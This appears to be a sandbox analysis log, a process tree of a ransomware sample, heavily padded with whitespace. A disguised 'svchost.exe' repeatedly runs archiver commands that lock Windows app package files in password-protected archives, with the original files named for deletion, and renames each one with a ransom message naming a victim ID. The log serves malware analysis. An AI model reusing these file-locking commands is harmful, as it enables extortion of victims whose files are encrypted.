                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.BingWeather_4.25.20211.0_neutral_split.scale-150_8wekyb3d8bbwe\AppxManifest.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.BingWeather_4.25.20211.0_neutral_split.scale-150_8wekyb3d8bbwe\AppxManifest.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5140
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.BingWeather_4.25.20211.0_neutral_split.scale-150_8wekyb3d8bbwe\Assets\AppTiles\StoreLogo.scale-150.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.BingWeather_4.25.20211.0_neutral_split.scale-150_8wekyb3d8bbwe\Assets\AppTiles\StoreLogo.scale-150.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4060
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\AppxBlockMap.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\AppxBlockMap.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:668
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\AppxManifest.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\AppxManifest.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4412
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppPackageAppList.scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppPackageAppList.scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3832
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppPackageBadgeLogo.scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppPackageBadgeLogo.scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4444
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppPackageLargeTile.scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppPackageLargeTile.scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2112
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppPackageMedTile.scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppPackageMedTile.scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3608
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppPackageSmallTile.scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppPackageSmallTile.scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:924
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppPackageSplashScreen.scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppPackageSplashScreen.scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:440
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppPackageStoreLogo.scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppPackageStoreLogo.scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2680
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppPackageWideTile.scale-100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppPackageWideTile.scale-100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4128
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-black\AppPackageAppList.scale-100_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-black\AppPackageAppList.scale-100_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1956
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-black\AppPackageBadgeLogo.scale-100_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-black\AppPackageBadgeLogo.scale-100_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:448
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-black\AppPackageLargeTile.scale-100_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-black\AppPackageLargeTile.scale-100_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2788
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-black\AppPackageMedTile.scale-100_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-black\AppPackageMedTile.scale-100_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:704
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-black\AppPackageSmallTile.scale-100_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-black\AppPackageSmallTile.scale-100_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4812
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-black\AppPackageSplashScreen.scale-100_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-black\AppPackageSplashScreen.scale-100_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2188
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-black\AppPackageStoreLogo.scale-100_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-black\AppPackageStoreLogo.scale-100_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1524
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-black\AppPackageWideTile.scale-100_contrast-black.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-black\AppPackageWideTile.scale-100_contrast-black.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3984
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
